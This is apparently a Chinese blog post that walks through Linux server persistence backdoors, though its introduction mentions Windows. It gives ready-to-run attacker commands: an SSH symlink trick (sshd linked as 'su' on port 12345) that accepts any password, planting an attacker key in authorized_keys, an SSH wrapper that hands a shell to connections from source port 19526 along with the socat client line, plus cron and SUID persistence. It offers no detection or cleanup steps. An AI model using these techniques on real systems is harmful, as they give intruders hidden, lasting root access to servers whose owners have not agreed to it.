持久化后门是指当入侵者通过某种手段拿到服务器的控制权之后,通过在服务器上放置一些后门(脚本、进程、连接之类),来方便他以后持久性的入侵,简单梳理一下日常遇见windows用的比较多的一些持久化方式方便以后排查问题使用.
一、ssh软连接
SSH软连接后门的原理
1、Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
2、将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su)
3、如果被控主机不允许root登陆可用其他已存在用户登陆
4、通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
5、任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可 SSH任意密码登陆
举个例子
靶机执行并查看是否软连接建立完成
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录.当然可以通过其他设置,更改su名字也是可以的.然后启动,并指定监听12345端口,登录的时候密码随意即可.
攻击者利用ssh并使用任意密码登陆靶机
ssh root@1xx.1xx.1xx.1xx -p 12345
二、ssh利用公钥免密登录
受害者:1.1.1.x
攻击者:2.2.2.x
现在攻击者想配置免密登录连接受害者
攻击者机器:# ssh-keygen -b 4096 -t rsa
一路回车回车默认就行,在/root/.ssh/目录下生成了两个文件
id_rsa、id_rsa.pub
# cat /root/.ssh/id_rsa.pub
攻击者的id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴)
# chmod 600 /root/.ssh/authorized_keys
# chmod 700 /root/.ssh
攻击者利用公匙登录
# ssh -i /root/.ssh/id_rsa root@2.2.2.x
缺点:容易被发现
三、ssh wrapper后门
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd.
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作.这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了.此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell.
被控端:http://www.iyuji.cn/iyuji/s/UDY2Y2lWOW9VV2dkcmh0a25XbjRldz09/1593437367385498
控制端:socat STDIOTCP4:受害者IP:22,sourceport=19526
优点:
1、隐蔽性较强,无需要编译,使用于大部分环境中.
2、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆.
缺点:
1、需要重启sshd进程.
四、Crontab定时任务
Crontab定时任务就像windows中的定时任务,在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动.
Cron 表达式生成网站:https://qqe2.com/cron
http://www.iyuji.cn/iyuji/s/UDY2Y2lWOW9VV2dkcmh0a25XbjRldz09/1593437485887194
UID后门
当s这个标志出现在文件所有者的x权限上时,此时就被称为Set UID.简程SUID.
当一个文件或者程序所属 suid为0时,那么它的归属及为root,当执行该文件时,其实是以root身份执行的.
必要条件:
1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限
上完。。。。
留个葫芦关注呗[滑稽]
未经允许,禁止转载
官方群713049325
请登录后发表评论
注册